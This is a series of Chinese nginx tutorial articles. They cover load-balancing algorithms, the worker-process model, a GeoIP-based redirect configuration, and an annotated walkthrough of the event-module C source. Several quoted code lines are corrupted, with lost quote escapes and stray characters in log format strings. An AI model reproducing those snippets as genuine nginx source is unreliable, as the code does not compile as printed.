每个请求按照发起客户端的ip的hash结果进行匹配,这样的算法下一个固定ip地址的客户端总会访问到同一个后端服务器,这也在一定程度上解决了集群部署环境下session共享的问题。 fair: 智能调整调度算法,动态的根据后端服务器的请求处理到响应的时间进行均衡分配,响应时间短处理效率高的服务器分配到请求的概率高,响应时间长处理效率低的服务器分配到的请求少;结合了前两者的优点的一种调度算法。但是需要注意的是Nginx默认不支持fair算法,如果要使用这种调度算法,请安装upstream_fair模块。 url_hash: 按照访问的url的hash结果分配请求,每个请求的url会指向后端固定的某个服务器,可以在Nginx作为静态服务器的情况下提高缓存效率。同样要注意Nginx默认不支持这种调度算法,要使用的话需要安装Nginx的hash软件包。 更多Nginx相关技术文章,请访问Nginx使用教程栏目进行学习! 以上就是nginx负载均衡是什么意思的知识。速戳>>知识兔学习精品课! nginx采用多进程模型好处 首先,对于每个worker进程来说,独立的进程,不需要加锁,所以省掉了锁带来的开销,同时在编程以及问题查找时,也会方便很多。 ( 推荐学习:nginx使用 ) 其次,采用独立的进程,可以让互相之间不会影响,一个进程退出后,其它进程还在工作,服务不会中断,master进程则很快启动新的worker进程。 当然,worker进程的异常退出,肯定是程序有bug了,异常退出,会导致当前worker上的所有请求失败,不过不会影响到所有请求,所以降低了风险。 nginx多进程事件模型:异步非阻塞 虽然nginx采用多worker的方式来处理请求,每个worker里面只有一个主线程,但是nginx采用了异步非阻塞的方式来处理请求,也就是说,nginx是可以同时处理成千上万个请求的。 一个worker进程可以同时处理的请求数只受限于内存大小,而且在架构设计上,不同的worker进程之间处理并发请求时几乎没有同步锁的限制,worker进程通常不会进入睡眠状态。 因此,当Nginx上的进程数与CPU核心数相等时(最好每一个worker进程都绑定特定的CPU核心),进程间切换的代价是最小的。 而apache的常用工作方式(apache也有异步非阻塞版本,但因其与自带某些模块冲突,所以不常用),每个进程在一个时刻只处理一个请求。 因此,当并发数上到几千时,就同时有几千的进程在处理请求了。这对操作系统来说,是个不小的挑战,进程带来的内存占用非常大,进程的上下文切换带来的cpu开销很大,自然性能就上不去了,而这些开销完全是没有意义的。 以上就是nginx使用多进程有啥好处的知识。速戳>>知识兔学习精品课! Nginx服务器(engine-X),是一种web服务器。它是一种开源的高性能HTTP和反向代理服务器。 它也可提供IMAP/POP3/SMTP代理服务等功能。 ( 推荐学习:nginx使用 ) **Nginx是以多进程的方式来工作的。**也支持多线程的方式,只是主流的方式还是多进程的方式,也是Nginx的默认方式。 Nginx启动后,它在Unix系统中会以daemon的方式在后台运行,后台进程包含一个master进程和多个worker进程。 master进程主要用来管理worker进程,包含:接收来自外界的信号,向各worker进程发送信号,监控worker进程的运行状态,当worker进程退出后(异常情况下),会自动重新启动新的worker进程。 而基本的网络事件,则是放在worker进程中来处理了。多个worker进程之间是对等的,他们同等竞争来自客户端的请求,各进程互相之间是独立的。 一个请求,只可能在一个worker进程中处理,一个worker进程,不可能处理其它进程的请求。worker进程的个数是可以设置的,一般我们会设置与机器cpu核数一致。 优点 高并发连接 官方测试能支撑5万并发连接,在实际生产环境中跑到2~3万并发连接数。Nginx服务器专为性能优化而开发。它支持内核Poll模型,能经受高负载的考验。 内存消耗少 Nginx服务器采取了分阶段资源分配技术,这使得它的CPU与内存占用率非常低。 配置文件简单 成本低 : Nginx服务器是开源软件。 支持Rewrite重写规则 能根据域名、URL的不同,将 HTTP 请求分到不同的后端服务器群组。 内置的健康检查功能. 若 Nginx服务器 Proxy 后端的某台 Web 服务器宕机,不会影响前端访问。 节省带宽. 支持 GZIP 压缩,可以添加浏览器本地缓存的 Header 头。 稳定性高. Nginx服务器的稳定性很高。其它HTTP服务器在遇到访问峰值,或有人恶意发起慢速连接时,很可能会导致服务器物理内存耗尽,频繁交换,失去响应(只能重启服务器)。 另外, Nginx服务器采用master-slave模型,能充分利用SMP的优势,且能减少工作进程在磁盘I/O的阻塞延迟。 Nginx服务器代码质量很高,很规范, 模块扩展也很容易。Nginx服务器采用了一些os提供的最新特性如对sendfile (Linux2.2+),accept-filter(FreeBSD4.1+),TCP_DEFER_ACCEPT (Linux 2.4+)的支持,从而大大提高了性能。 以上就是使用nginx有什么优点的知识。速戳>>知识兔学习精品课! GeoIP过滤器根据来自Maxmind GeoLite2数据库的数据添加有关IP地址的地理位置的信息。 通过IP区别国内或国外,从而跳转到不同的页面,最终用nginx的第三方module:geoip来实现,这就不说它的优势了,网上很多解释,下面看怎么配置 ( 推荐学习:nginx使用 ) 我的系统中是配置了nignx.repo的,我直接用yum来安装了geoip模块,没有用添加模块重编的方式 yum install nginx-module-geoip 下载geoip的数据库文件 cd /etc/nginxmkdir geoipdatcd geoipdat下载wget http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gzwget http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz解压gunzip GeoIP.dat.gzgunzip GeoLiteCity.dat.gz 根据需求配置nginx 首先在nginx.conf中加载geoip的库,配置如下: load_module "modules/ngx_http_geoip_module.so";load_module "modules/ngx_stream_geoip_module.so";user nginx;worker_processes 1;error_log /var/log/nginx/error.log warn;pid /var/run/nginx.pid;events { worker_connections 1024;}http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf;} 配置虚拟主机如下: geoip_country /etc/nginx/geoipdat/GeoIP.dat;geoip_city /etc/nginx/geoipdat/GeoLiteCity.dat;server { listen 80; server_name localhost; location / {root /opt;if ($geoip_country_code = CN){rewrite (.*) /zh$1 break;} rewrite (.*) /en$1 break; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; }} opt目录如下 [root@VM_0_15_centos opt]# tree.|└── en│ └── index.html└── zh └── index.html 以上就是nginx使用geoip做区域限制的知识。速戳>>知识兔学习精品课! 事件模块是nginx的核心模块之一,nginx中客户端请求的处理和命令行指令的执行都是基于事件模块进行驱动的。因此,掌握事件模块的实现原理对于我们理解nginx整体架构有非常重要的意义。 本文首先会讲解事件模块相关的几个模块定义及其执行流程进行讲解,其源码的讲解将会在后面的文章中进行。 推荐教程:Nginx教程 nginx的事件核心模块主要有两个:和。这两个模块的主要区别在于,ngx_events_module的类型为,其本质上虽然是核心模块类型,但是却是事件模块的一个驱动点,其解析的配置项为events {},并且会创建用于存储事件模块相关配置的结构体; 而ngx_event_core_module的类型则是,这个模块的配置对象中会存储事件模块的基础配置对象,其主要作用是解析events{}配置块中的子配置项。 下面我们就来看一下这两个模块的基础配置。 1. ngx_events_module 如下是ngx_events_module模块的基础配置: ngx_module_t ngx_events_module = { NGX_MODULE_V1, &ngx_events_module_ctx, /* module context */ ngx_events_commands, /* module directives */ NGX_CORE_MODULE, /* module type */ NULL, /* init master */ NULL, /* init module */ NULL, /* init process */ NULL, /* init thread */ NULL, /* exit thread */ NULL, /* exit process */ NULL, /* exit master */ NGX_MODULE_V1_PADDING};static ngx_core_module_t ngx_events_module_ctx = { ngx_string("events"), NULL, ngx_event_init_conf};static ngx_command_t ngx_events_commands[] = { {ngx_string("events"), NGX_MAIN_CONF | NGX_CONF_BLOCK | NGX_CONF_NOARGS, ngx_events_block, 0, 0, NULL}, ngx_null_command}; 在模块的定义中,其module context指向的是,也即第二个结构体的配置,而module directives指向的则是,也即第三个结构体的定义。可以看到,中只定义了一个events配置项,而这个配置项的类型为NGX_CONF_BLOCK,也就是说其是一个配置块的类型,这里我们就理解了,这个command对应的就是我们在nginx.conf中使用的events {}配置块,而这个配置块的解析则是通过方法进行的。 我们知道,在nginx的核心配置对象ngx_cycle_t中的conf_ctx数组中,每个模块在数组对应的位置都会有一个配置对象,同理,这里的核心模块也会有一个配置对象,但是上面的第二个结构体中的第二个属性值为NULL,也就是说这里的事件模块的定义中是没有创建配置对象的方法的,但是却有初始化配置对象的方法,也即第三个属性值方法。 那么这里事件模块的配置对象是在哪里创建的呢? 其实其就是在解析配置对象的时候进行的,也即在执行解析配置块的方法中进行的。该方法本质上只是创建了一个指针数组,然后将其赋值给nginx核心和值对象的ngx_cycle_t的conf_ctx的对应位置。 2. ngx_event_core_module 在介绍模块之前,我们首先需要讲解一下事件模块的接口定义: typedef struct { // 事件模块的名称 ngx_str_t *name; // 在解析配置项前,这个回调方法用于创建存储配置项参数的结构体 void *(*create_conf)(ngx_cycle_t *cycle); // 在解析配置项完成后,init_conf()方法会被调用,用以综合处理当前事件模块感兴趣的全部配置项 char *(*init_conf)(ngx_cycle_t *cycle, void *conf); // 对于事件驱动机制,每个事件模块需要实现的10个抽象方法 ngx_event_actions_t actions;} ngx_event_module_t;typedef struct { // 添加事件方法,它负责把一个感兴趣的事件添加到操作系统提供的事件驱动机制(epoll、kqueue等)中, // 这样,在事件发生后,将可以在调用下面的process_events时获取这个事件 ngx_int_t (*add)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags); // 删除事件方法,它把一个已经存在于事件驱动机制中的事件移除,这样以后即使这个事件发生, // 调用process_events()方法时也无法再获取这个事件 ngx_int_t (*del)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags); // 启用一个事件,目前事件框架不会调用这个方法,大部分事件驱动模块对于该方法的实现都是 // 与上面的add()方法完全一致的 ngx_int_t (*enable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags); // 禁用一个事件,目前事件框架不会调用这个方法,大部分事件驱动模块对于该方法的实现都是 // 与上面的del()方法完全一致的 ngx_int_t (*disable)(ngx_event_t *ev, ngx_int_t event, ngx_uint_t flags); // 向事件驱动机制中添加一个新的连接,这意味着连接上的读写事件都添加到事件驱动机制中了 ngx_int_t (*add_conn)(ngx_connection_t *c); // 从事件驱动机制中移除一个连接的读写事件 ngx_int_t (*del_conn)(ngx_connection_t *c, ngx_uint_t flags); ngx_int_t (*notify)(ngx_event_handler_pt handler); // 在正常的工作循环中,将通过调用process_events()方法来处理事件。 // 这个方法仅在ngx_process_events_and_timers()方法中调用,它是处理、分发事件的核心 ngx_int_t (*process_events)(ngx_cycle_t *cycle, ngx_msec_t timer, ngx_uint_t flags); // 初始化事件驱动模块的方法 ngx_int_t (*init)(ngx_cycle_t *cycle, ngx_msec_t timer); // 退出事件驱动模块前调用的方法 void (*done)(ngx_cycle_t *cycle);} ngx_event_actions_t; nginx的事件模块主要有两个配置结构体:和两个。从上面的定义中可以看出,结构体是引用了的。 的作用主要是创建和初始化当前模块所需要的配置结构体,而ngx_event_actions_t则主要定义了当前事件模块处理各个事件的方式,这个接口典型的实现接口是nginx定义的各个事件模型,比如epoll的和kqueue的。从这里就可以看出,事件模块的定义抽象了各个处理事件的模型的相关处理方法。 对于事件模块而言,其有一个模块是用于存储事件相关的基础配置的,即,虽然实现了接口,但是其不进行具体的事件处理。如下是模块的定义: ngx_module_t ngx_event_core_module = { NGX_MODULE_V1, &ngx_event_core_module_ctx, /* module context */ ngx_event_core_commands, /* module directives */ NGX_EVENT_MODULE, /* module type */ NULL, /* init master */ // 该方法主要是在master进程启动的过程中调用的,用于初始化时间模块 ngx_event_module_init, /* init module */ // 该方法是在各个worker进程启动之后调用的 ngx_event_process_init, /* init process */ NULL, /* init thread */ NULL, /* exit thread */ NULL, /* exit process */ NULL, /* exit master */ NGX_MODULE_V1_PADDING};static ngx_event_module_t ngx_event_core_module_ctx = { &event_core_name, ngx_event_core_create_conf, /* create configuration */ ngx_event_core_init_conf, /* init configuration */ // ngx_event_core_module_ctx并不直接负责TCP网络事件的驱动, // 因而这里的ngx_event_actions_t中的方法都为NULL {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL}};static ngx_command_t ngx_event_core_commands[] = { // 连接池的大小,也即每个worker进程中支持的TCP最大连接数,它与connections配置项的意义是重复的 {ngx_string("worker_connections"), NGX_EVENT_CONF | NGX_CONF_TAKE1, ngx_event_connections, 0, 0, NULL}, // 确定选择哪一个事件模块作为事件驱动机制 {ngx_string("use"), NGX_EVENT_CONF | NGX_CONF_TAKE1, ngx_event_use, 0, 0, NULL}, // 对应于ngx_event_s中的available属性,对于epoll事件驱动模式来说,意味着在接收到一个新连接事件时, // 调用accept以尽可能多地接收连接 {ngx_string("multi_accept"), NGX_EVENT_CONF | NGX_CONF_FLAG, ngx_conf_set_flag_slot, 0, offsetof(ngx_event_conf_t, multi_accept), NULL}, // 确定是否使用accept_mutex负载均衡锁,默认为开启 {ngx_string("accept_mutex"), NGX_EVENT_CONF | NGX_CONF_FLAG, ngx_conf_set_flag_slot, 0, offsetof(ngx_event_conf_t, accept_mutex), NULL}, // 启用accept_mutex负载均衡锁后,延迟accept_mutex_delay毫秒后再试图处理新连接事件 {ngx_string("accept_mutex_delay"), NGX_EVENT_CONF | NGX_CONF_TAKE1, ngx_conf_set_msec_slot, 0, offsetof(ngx_event_conf_t, accept_mutex_delay), NULL}, // 需要对来自指定IP的TCP连接打印debug级别的调试日志 {ngx_string("debug_connection"), NGX_EVENT_CONF | NGX_CONF_TAKE1, ngx_event_debug_connection, 0, 0, NULL}, ngx_null_command}; 在事件模块的定义中,module context指向的是一个结构体,这里的的module context指向的就是第二个结构体定义的,而中则定义了当前核心模块创建配置对象和初始化配置对象的方法,可以看到,其actions属性中的值全部为NULL,这是因为该模块并不负责处理具体的事件处理方案,而是负责核心结构体的创建和初始化,nginx也会保证这个模块在所有的事件模块中最先被调用,其余各个事件模块也可以引用该模块所存储的基础配置数据。 在中第三个属性指向的是上面的第三个结构体,这个结构体中定义了当前事件模块所能使用的各个配置项的基本配置以及解析这些配置项的方法。 这里我们需要着重强调中的第六个和第七个属性,这两个属性指向的是都是某个方法,第六个属性init module的主要是在nginx启动过程中解析完配置文件之后执行,其作用是对当前模块进行初始化的工作,而第七个属性init process主要是在nginx启动worker进程之后worker进程开始执行主循环之前调用的,其作用是进行worker进程执行前的初始化工作。 3. 模块方法的执行流程 通过上面的介绍我们大致了解了定义事件模块的两个核心模块的主要方法及其作用,这里则主要是对这些方法的执行流程进行讲解,如下是其流程示意图: 对于上面的,这里需要对其各个步骤的功能进行说明: 1.解析文件,当遇到配置项时,就使用方法对其进行解析; 2.创建用于存储各个事件模块存储配置项的结构体的数组; 3.采用递归的方式解析配置块中的子配置项; 4.依次检查事件核心模块的配置项,如果其没有赋值,则对其赋一个默认值; 5.检查是否创建了存储事件模块配置项的数组,该检查的主要目的是判断核心模块是否成功初始化了; 6.主要是通过解析得到的配置项,设置诸如时间定时器的执行频率、可打开的文件句柄限制和初始化记录统计数据的属性; 7.在进程中调用,用于初始化进程运行所需要的环境,比如初始化事件队列、初始化事件模型、添加时间更新的定时任务等; 以上就是关于nginx事件模块结构体的详解的知识。速戳>>知识兔学习精品课! 在《关于nginx事件模块结构体的详解》这篇文章中,我们讲解nginx的事件模块的整体工作流程,并且着重讲解了组织事件模块的各个方法的作用,本文则主要围绕这整个流程,从源码的角度讲解nginx事件模块的实现细节。 1. ----events配置块解析 nginx在解析配置文件时,如果当前解析的配置项名称为,并且是一个配置块,则会调用方法解析该配置块,如下是该方法的源码: static char * ngx_events_block(ngx_conf_t *cf, ngx_command_t *cmd, void *conf) { char *rv; void ***ctx; ngx_uint_t i; ngx_conf_t pcf; ngx_event_module_t *m; // 如果存储事件模块配置数据的配置项不为空,说明已经解析过配置项了,因而直接返回 if (*(void **) conf) { return "is duplicate"; } // 这里主要是计算event模块的个数,并且将各个event模块的相对顺序标记在了该模块的ctx_index属性中 ngx_event_max_module = ngx_count_modules(cf->cycle, NGX_EVENT_MODULE); // 创建一个存储配置项数组的指针 ctx = ngx_pcalloc(cf->pool, sizeof(void *)); if (ctx == NULL) { return NGX_CONF_ERROR; } // 为配置项指针申请数组内存 *ctx = ngx_pcalloc(cf->pool, ngx_event_max_module * sizeof(void *)); if (*ctx == NULL) { return NGX_CONF_ERROR; } // 将数组值赋值到conf中,也即关联到核心配置对象ngx_cycle_t中 *(void **) conf = ctx; for (i = 0; cf->cycle->modules[i]; i++) { if (cf->cycle->modules[i]->type != NGX_EVENT_MODULE) { continue; } m = cf->cycle->modules[i]->ctx; // 如果当前模块的create_conf()方法不为空,则调用该方法创建存储配置项的结构体 if (m->create_conf) { (*ctx)[cf->cycle->modules[i]->ctx_index] = m->create_conf(cf->cycle); if ((*ctx)[cf->cycle->modules[i]->ctx_index] == NULL) { return NGX_CONF_ERROR; } } } // 这里将*cf结构体进行了复制,临时存储在pcf中,然后初始化当前的*cf结构体的模块相关的参数, // 以进行下一步的解析 pcf = *cf; cf->ctx = ctx; cf->module_type = NGX_EVENT_MODULE; cf->cmd_type = NGX_EVENT_CONF; // 解析events{}配置块中的子配置项 rv = ngx_conf_parse(cf, NULL); // 重新将pcf复制给*cf,以供后面返回使用 *cf = pcf; if (rv != NGX_CONF_OK) { return rv; } // 到这里,说明events{}配置块的配置项都解析完成了,因而这里调用各个模块的init_conf()方法, // 进行配置项的初始化和合并工作 for (i = 0; cf->cycle->modules[i]; i++) { if (cf->cycle->modules[i]->type != NGX_EVENT_MODULE) { continue; } m = cf->cycle->modules[i]->ctx; // 如果当前模块的init_conf()不为空,则调用其init_conf()方法初始化配置项 if (m->init_conf) { rv = m->init_conf(cf->cycle, (*ctx)[cf->cycle->modules[i]->ctx_index]); if (rv != NGX_CONF_OK) { return rv; } } } return NGX_CONF_OK;} 方法主要完成的工作有如下几个: ● 调用方法对事件模块序号进行标记,需要注意的是,这里的排序是针对当前模块在所有事件类型模块中的顺序进行标记,并且将序号保存在各模块的属性中,比如这里的事件类型核心模块的就为; ● 为指针申请内存空间,并且申请一个数组,将其地址赋值给ctx指针,这里的数组长度就为事件模块的数目。其实这里的数组就是用来保存每个事件模块的配置对象的,当前事件模块在所有事件模块中的相对位置就对应于该数组中的相对位置,这里的相对位置也即前一步中计算得到的; ● 调用各个事件模块的方法创建各自的配置结构体,并且将其保存在指针指向的数组中; ● 调用方法对配置文件继续解析,前面我们已经讲到,方法就是解析到events配置项的时候才调用的,因而这里的方法的调用就是继续解析events配置块的子配置项,而该方法调用完成则说明配置块里的配置项都已经解析完成; ● 调用各个模块的方法对配置项进行初始化,简单的说,就是,由于在中只配置了部分配置项的值,而剩余的配置项就由方法来设置默认值; 2. ----检查事件模块配置结构体是否正常创建 在nginx解析完nginx.conf配置文件的所有配置项后(包括前一步中讲解的对events配置项的解析),其就会调用所有核心模块的init_conf()方法对核心模块的配置项进行初始化。这里的核心模块就包括,该模块的方法指向的就是这里的方法,该方法本质上并没有做什么工作,只是检查了是否创建了存储事件模块配置项的结构体数组。 如下是方法的源码: static char *ngx_event_init_conf(ngx_cycle_t *cycle, void *conf) { if (ngx_get_conf(cycle->conf_ctx, ngx_events_module) == NULL) { ngx_log_error(NGX_LOG_EMERG, cycle->log, 0, "no "events" section in configuration"); return NGX_CONF_ERROR; } return NGX_CONF_OK;} 上面两个方法就是核心模块的两个主要的配置方法,可以看到,这个核心模块的主要作用就是创建了一个数组,用于存储各个事件模块的配置结构体的。下面我们来看一下事件核心模块的主要方法。 3. ----创建事件核心模块配置结构体 在第1点中我们讲到,解析events配置块的子配置项之前,会调用各个事件模块的方法来创建其使用的存储配置数据的结构体,而后调用方法来解析子配置项,接着调用各个事件模块的init_conf()方法初始化各个模块配置数据的结构体。 这里就是一个事件类型的模块,其create_conf属性指向的就是方法,而属性指向的就是方法。 这一节我们首先讲解方法的实现原理: static void *ngx_event_core_create_conf(ngx_cycle_t *cycle) { ngx_event_conf_t *ecf; ecf = ngx_palloc(cycle->pool, sizeof(ngx_event_conf_t)); if (ecf == NULL) { return NULL; } ecf->connections = NGX_CONF_UNSET_UINT; ecf->use = NGX_CONF_UNSET_UINT; ecf->multi_accept = NGX_CONF_UNSET; ecf->accept_mutex = NGX_CONF_UNSET; ecf->accept_mutex_delay = NGX_CONF_UNSET_MSEC; ecf->name = (void *) NGX_CONF_UNSET; return ecf;} 可以看到,这里的方法本质上就是创建了一个结构体,并且将各个属性都设置为未设置状态。 4. ----初始化配置结构体 前面我们讲到,在解析完各个子配置项之后,nginx会调用各个事件模块的方法,这里的核心事件模块就是这个方法,如下是该方法的源码: static char * ngx_event_core_init_conf(ngx_cycle_t *cycle, void *conf) { ngx_event_conf_t *ecf = conf;#if (NGX_HAVE_EPOLL) && !(NGX_TEST_BUILD_EPOLL) int fd;#endif ngx_int_t i; ngx_module_t *module; ngx_event_module_t *event_module; module = NULL;#if (NGX_HAVE_EPOLL) && !(NGX_TEST_BUILD_EPOLL) // 测试是否具有创建epoll句柄的权限 fd = epoll_create(100); if (fd != -1) { // 关闭创建的epoll句柄,并且将module指向epoll模块 (void) close(fd); module = &ngx_epoll_module; } else if (ngx_errno != NGX_ENOSYS) { module = &ngx_epoll_module; }#endif // 这里,如果没有前面判断的模块类型,则默认使用事件模块中的第一个模块作为事件处理模型 if (module == NULL) { for (i = 0; cycle->modules[i]; i++) { if (cycle->modules[i]->type != NGX_EVENT_MODULE) { continue; } event_module = cycle->modules[i]->ctx; if (ngx_strcmp(event_module->name->data, event_core_name.data) == 0) { continue; } module = cycle->modules[i]; break; } } // 如果此时module还是为NULL,则返回异常 if (module == NULL) { ngx_log_error(NGX_LOG_EMERG, cycle->log, 0, "no events module found"); return NGX_CONF_ERROR; } // 下面的操作主要是判断各个属性是否为初始设置的无效值,如果是,则说明nginx.conf中没有配置 // 关于该属性的配置项,那么这里就会为该属性设置默认值 ngx_conf_init_uint_value(ecf->connections, DEFAULT_CONNECTIONS); cycle->connection_n = ecf->connections; ngx_conf_init_uint_value(ecf->use, module->ctx_index); event_module = module->ctx; ngx_conf_init_ptr_value(ecf->name, event_module->name->data); ngx_conf_init_value(ecf->multi_accept, 0); ngx_conf_init_value(ecf->accept_mutex, 0); ngx_conf_init_msec_value(ecf->accept_mutex_delay, 500); return NGX_CONF_OK;} ngx_event_core_init_conf()方法的主要做了两件事: ● 选择当前所使用的模块,如果没指定,则默认使用第一个事件模块; ● 初始化事件核心模块的配置结构体的各个属性值为默认值。 5. ----核心模块的配置项初始化 对于模块而言,其还指定了两个方法,一个是用于初始化模块的方法,另一个是用于worker进程执行主循环逻辑之前进行调用的方法。 方法是在master进程中调用的,其会在解析完nginx.conf文件中的所有配置项之后调用,本质上,该方法的作用就是对当前配置的核心模块(事件模块)进行初始化。 如下是方法的源码: /** * 当前方法的主要作用是申请一块用于存储统计数据的共享内存,然后设置ngx_accept_mutex_ptr、 * ngx_connection_counter、ngx_temp_number等变量的地址,如果开启了slab stat, * 那么还会设置ngx_stat_accepted、ngx_stat_handled、ngx_stat_requests等的地址,以统计更多的数据 */static ngx_int_t ngx_event_module_init(ngx_cycle_t *cycle) { void ***cf; u_char *shared; size_t size, cl; ngx_shm_t shm; ngx_time_t *tp; ngx_core_conf_t *ccf; ngx_event_conf_t *ecf; // 获取core event module的配置结构体 cf = ngx_get_conf(cycle->conf_ctx, ngx_events_module); ecf = (*cf)[ngx_event_core_module.ctx_index]; if (!ngx_test_config && ngx_process <= NGX_PROCESS_MASTER) { ngx_log_error(NGX_LOG_NOTICE, cycle->log, 0, "using the "%s" event method", ecf->name); } // 获取core module的配置对象 ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module); ngx_timer_resolution = ccf->timer_resolution;#if !(NGX_WIN32) { ngx_int_t limit; struct rlimit rlmt; if (getrlimit(RLIMIT_NOFILE, &rlmt) == -1) { ngx_log_error(NGX_LOG_ALERT, cycle->log, ngx_errno, "getrlimit(RLIMIT_NOFILE) failed, ignored"); } else { // 这里主要是检查当前事件模块配置的connections数目是否超过了操作系统限制的最大文件句柄数, // 或者超过了配置文件中指定的最大文件句柄数 if (ecf->connections > (ngx_uint_t) rlmt.rlim_cur && (ccf->rlimit_nofile == NGX_CONF_UNSET || ecf->connections > (ngx_uint_t) ccf->rlimit_nofile)) { limit = (ccf->rlimit_nofile == NGX_CONF_UNSET) ? (ngx_int_t) rlmt.rlim_cur : ccf->rlimit_nofile; ngx_log_error(NGX_LOG_WARN, cycle->log, 0, "സrker_connections exceed " "open file resource limit: %i", ecf->connections, limit); } } }#endif /* !(NGX_WIN32) */ if (ccf->master == 0) { return NGX_OK; } if (ngx_accept_mutex_ptr) { return NGX_OK; } /* cl should be equal to or greater than cache line size */ cl = 128; size = cl /* ngx_accept_mutex */ + cl /* ngx_connection_counter */ + cl; /* ngx_temp_number */#if (NGX_STAT_STUB) size += cl /* ngx_stat_accepted */ + cl /* ngx_stat_handled */ + cl /* ngx_stat_requests */ + cl /* ngx_stat_active */ + cl /* ngx_stat_reading */ + cl /* ngx_stat_writing */ + cl; /* ngx_stat_waiting */#endif // 设置共享内存的大小 shm.size = size; ngx_str_set(&shm.name, "nginx_shared_zone"); shm.log = cycle->log; // 为共享内存结构体申请内存块 if (ngx_shm_alloc(&shm) != NGX_OK) { return NGX_ERROR; } // addr就是申请的共享内存块的地址 shared = shm.addr; ngx_accept_mutex_ptr = (ngx_atomic_t *) shared; ngx_accept_mutex.spin = (ngx_uint_t) -1; if (ngx_shmtx_create(&ngx_accept_mutex, (ngx_shmtx_sh_t *) shared, cycle->lock_file.data) != NGX_OK) { return NGX_ERROR; } // 获取ngx_connection_counter的地址 ngx_connection_counter = (ngx_atomic_t *) (shared + 1 * cl); // 将ngx_connection_counter的值设置为1 (void) ngx_atomic_cmp_set(ngx_connection_counter, 0, 1); ngx_log_debug2(NGX_LOG_DEBUG_EVENT, cycle->log, 0, "counter: %p, 鋞ot;, ngx_connection_counter, *ngx_connection_counter); // 获取ngx_temp_number的地址 ngx_temp_number = (ngx_atomic_t *) (shared + 2 * cl); tp = ngx_timeofday(); // 生成一个随机数 ngx_random_number = (tp->msec << 16) + ngx_pid;#if (NGX_STAT_STUB) ngx_stat_accepted = (ngx_atomic_t *) (shared + 3 * cl); ngx_stat_handled = (ngx_atomic_t *) (shared + 4 * cl); ngx_stat_requests = (ngx_atomic_t *) (shared + 5 * cl); ngx_stat_active = (ngx_atomic_t *) (shared + 6 * cl); ngx_stat_reading = (ngx_atomic_t *) (shared + 7 * cl); ngx_stat_writing = (ngx_atomic_t *) (shared + 8 * cl); ngx_stat_waiting = (ngx_atomic_t *) (shared + 9 * cl);#endif return NGX_OK;} 方法主要完成的工作有如下几个: ● 获取配置的属性值,并将其赋值给属性,这个属性的作用主要是指定更新nginx缓存的时间的定时任务的执行时间间隔; ● 获取nginx配置的文件描述符和当前操作系统的文件描述符的配置,对比两个值,从而更新当前进程所能开启的文件描述符的个数; ● 声明一块共享内存,用于存储nginx进行统计用的各个属性的数据。 6. ----初始化worker进程 方法主要是在worker进程执行主循环之前进行初始化调用的,如下是该方法的源码: static ngx_int_t ngx_event_process_init(ngx_cycle_t *cycle) { ngx_uint_t m, i; ngx_event_t *rev, *wev; ngx_listening_t *ls; ngx_connection_t *c, *next, *old; ngx_core_conf_t *ccf; ngx_event_conf_t *ecf; ngx_event_module_t *module; // 获取核心模块的配置对象 ccf = (ngx_core_conf_t *) ngx_get_conf(cycle->conf_ctx, ngx_core_module); // 获取事件核心模块的配置对象 ecf = ngx_event_get_conf(cycle->conf_ctx, ngx_event_core_module); // 判断当前如果满足三个条件,则标记当前为使用共享锁的方式: // 1. 当前为master-worker模式; // 2. 当前worker进程的数量大于1; // 3. 当前打开了使用共享锁的开关; if (ccf->master && ccf->worker_processes > 1 && ecf->accept_mutex) { ngx_use_accept_mutex = 1; ngx_accept_mutex_held = 0; ngx_accept_mutex_delay = ecf->accept_mutex_delay; } else { // 如果不满足上述条件,则指定不使用共享锁 ngx_use_accept_mutex = 0; }#if (NGX_WIN32) /* * disable accept mutex on win32 as it may cause deadlock if * grabbed by a process which can't accept connections */ ngx_use_accept_mutex = 0;#endif // 这里这两个队列的主要作用在于,每个worker进程在获取到共享锁之后,就会接收客户端accept事件, // 然后将其放入到ngx_posted_accept_events队列中,接着处理该队列中的事件,并且将客户端连接添加到 // ngx_posted_events队列中,然后再释放锁,也就是说获取锁的worker进程只需要进行accept客户端连接, // 然后将锁的权限交给其他的进程,并且再自行处理接收到的连接的读写事件 // 创建ngx_posted_accept_events队列,该队列用于接收客户端的连接事件 ngx_queue_init(&ngx_posted_accept_events); // 创建ngx_posted_events队列,该队列用于处理客户端连接的读写事件 ngx_queue_init(&ngx_posted_events); // 初始化一个用于存储事件的红黑树 if (ngx_event_timer_init(cycle->log) == NGX_ERROR) { return NGX_ERROR; } for (m = 0; cycle->modules[m]; m++) { if (cycle->modules[m]->type != NGX_EVENT_MODULE) { continue; } // ecf->use存储了所选用的事件模型的模块序号,这里是找到该模块 if (cycle->modules[m]->ctx_index != ecf->use) { continue; } // module即为所选用的事件模型对应的模块 module = cycle->modules[m]->ctx; // 调用指定事件模型的初始化方法 if (module->actions.init(cycle, ngx_timer_resolution) != NGX_OK) { /* fatal */ exit(2); } break; }#if !(NGX_WIN32) // ngx_timer_resolution表示发送更新时间事件的时间间隔 // 这里表示如果设置了ngx_timer_resolution,并且没有设置定时事件。 // ngx_event_flags是在事件模块的初始化中设置的,而且只有eventport和kqueue模型才会将 // NGX_USE_TIMER_EVENT设置到ngx_event_flags中 if (ngx_timer_resolution && !(ngx_event_flags & NGX_USE_TIMER_EVENT)) { struct sigaction sa; struct itimerval itv; ngx_memzero(&sa, sizeof(struct sigaction)); // 这里的sa主要是添加下面的SIGALRM的信号监听事件,该信号的作用是每隔一段时间就会向当前进程发出 // 当前进程收到信号之后就会调用下面的ngx_timer_signal_handler()方法,该方法中会将 // ngx_event_timer_alarm设置为1,而后当前进程在进行事件循环的时候,判断如果 // ngx_event_timer_alarm为1,则会更新当前进程所缓存的时间数据 sa.sa_handler = ngx_timer_signal_handler; 